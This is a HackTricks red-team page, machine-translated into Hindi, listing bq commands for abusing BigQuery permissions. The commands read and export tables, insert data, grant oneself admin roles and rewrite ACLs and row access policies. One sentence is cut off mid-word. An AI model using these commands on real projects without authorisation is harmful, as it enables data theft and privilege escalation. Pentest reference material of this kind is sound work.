GCP - BigQuery Privesc

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

BigQuery

BigQuery के बारे में अधिक जानकारी के लिए देखें:

pageGCP - Bigquery Enum

तालिका पढ़ें

एक BigQuery तालिका के अंदर संग्रहित जानकारी पढ़ने से संवेदनशील जानकारी खोजना संभव है। जानकारी तक पहुंचने के लिए आवश्यक अनुमति है bigquery.tables.get, bigquery.jobs.create और bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

डेटा निर्यात

यह डेटा तक पहुंचने का एक और तरीका है। इसे एक क्लाउड स्टोरेज बकेट में निर्यात करें और जानकारी वाले फ़ाइलें डाउनलोड करें। इस क्रिया को करने के लिए निम्नलिखित अनुमतियाँ आवश्यक हैं: bigquery.tables.export, bigquery.jobs.create और storage.objects.create

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

डेटा डालें

संभावना है कि किसी अन्य स्थान में किसी भी वंशावली की भरोसेमंद डेटा को बिगक्वेरी तालिका में डालने के जरिए किसी सुरक्षा दोष का दुरुपयोग किया जा सकता है। इसे आसानी से किया जा सकता है अनुमतियों bigquery.tables.get, bigquery.tables.updateData और bigquery.jobs.create के साथ:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

एक हमलावर इस अधिकार का दुरुपयोग कर सकता है खुद को बड़े परिसंचालन देने के लिए एक BigQuery डेटासेट पर:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

केवल यह अनुमति आपको एक BigQuery डेटासेट पर अपने एक्सेस को अपडेट करने की अनुमति देती है जिसे ACLs को संशोधित करके यह दिखाता है कि कौन इसका उपयोग कर सकता है:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

एक हमलावर इस अधिकार का दुरुपयोग करके एक BigQuery तालिका पर और अधिक अनुमतियाँ देने के लिए सक्षम हो सकता है:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

दस्तावेज़ के अनुसार, उक्त अनुमतियों के साथ **एक पंक्ति नीति को अपड

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

आपको पंक्ति नीतियों की जांच के आउटपुट में फ़िल्टर आईडी ढूंढना संभव है। उदाहरण:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated